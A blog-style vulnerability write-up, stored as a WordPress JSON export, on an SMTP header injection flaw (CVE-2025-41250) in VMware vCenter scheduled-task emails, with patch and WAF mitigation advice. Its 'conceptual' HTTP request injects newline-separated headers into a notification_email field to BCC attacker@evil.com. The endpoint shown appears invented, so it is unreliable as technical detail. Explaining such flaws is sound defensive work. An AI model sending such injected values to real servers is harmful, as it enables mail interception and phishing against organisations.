{"id":81722,"date":"2025-10-04T15:29:19","date_gmt":"2025-10-04T15:29:19","guid":{"rendered":""},"modified":"2025-10-22T10:36:18","modified_gmt":"2025-10-22T16:36:18","slug":"cve-2025-41250-smtp-header-injection-vulnerability-in-vmware-vcenter","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-41250-smtp-header-injection-vulnerability-in-vmware-vcenter\/","title":{"rendered":"CVE-2025-41250: SMTP Header Injection Vulnerability in VMware vCenter<\/strong>"},"content":{"rendered":"\n

Overview<\/strong><\/p>\n\n\n\n

The cybersecurity world is witnessing a surge in the number of vulnerabilities affecting various software platforms. One such critical vulnerability, identified as CVE-2025-41250, has been found in VMware vCenter. It is a SMTP header injection vulnerability<\/a> that could lead to potential system compromise or data leakage.
VMware vCenter, a widely used virtualization management tool, is critical to many enterprise<\/a> environments. This vulnerability holds a significant impact as it allows<\/a> a malicious actor with non-administrative privileges, who has the permission to create scheduled tasks, to manipulate the notification emails sent for scheduled tasks. This could potentially lead<\/a> to various security implications, making it a matter of high concern for organizations relying on VMware vCenter.<\/p>\n\n\n\n

Vulnerability Summary<\/strong><\/p>\n\n\n\n

CVE ID: CVE-2025-41250
Severity: High (CVSS 8.5)
Attack Vector: Network
Privileges Required: Low (non-administrative privileges and permission to create scheduled tasks)
User Interaction: None
Impact: System Compromise and Data<\/a> Leakage<\/p>\n\n\n\n

Affected Products<\/strong><\/p>\n\n\n\n

VMware vCenter <\/p>\n\n\n\n

How the Exploit Works<\/strong><\/p>\n\n\n\n

The exploit takes advantage of the SMTP header injection vulnerability<\/a> present in VMware vCenter. When an attacker with the ability to create scheduled tasks manipulates the notification emails sent for these tasks, they can inject malicious code<\/a> or content into the SMTP headers. This can lead to various attacks, including phishing, execution of arbitrary commands<\/a>, or even system compromise.<\/p>\n\n\n\n

Conceptual Example Code<\/strong><\/p>\n\n\n\n

Here’s a conceptual example of how the vulnerability might be exploited. This could be a snippet<\/a> of the malicious payload injected into the SMTP headers:<\/p>\n\n\n\n

POST \/create\/scheduled_task HTTP\/1.1\nHost: vulnerable.vcenter.com\nContent-Type: application\/json\n{\n\"task_name\": \"Regular Maintenance\",\n\"notification_email\": \"admin@company.com\\nBCC: attacker@evil.com\\nSubject: System Compromise\\n\\nAttached payload...\"\n}<\/pre>\n\n\n\n
In this example, the attacker manipulates the `notification_email` field to inject additional SMTP headers, effectively turning the original email into a BCC email to the attacker and changing the subject. The email body also contains a malicious payload.<\/p>\n\n\n\n
Mitigation Guidance<\/strong><\/p>\n\n\n\n
Users are strongly advised to apply the latest vendor patch provided by VMware<\/a> to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall<\/a> (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. Regular checks for any unusual activity in the scheduled tasks and their notification emails are also recommended until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity world is witnessing a surge in the number of vulnerabilities affecting various software platforms. One such critical vulnerability, identified as CVE-2025-41250, has been found in VMware vCenter. It is a SMTP header injection vulnerability that could lead to potential system compromise or data leakage.VMware vCenter, a widely used virtualization management tool, is […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[93],"product":[94],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-81722","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-vmware","product-vcenter"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t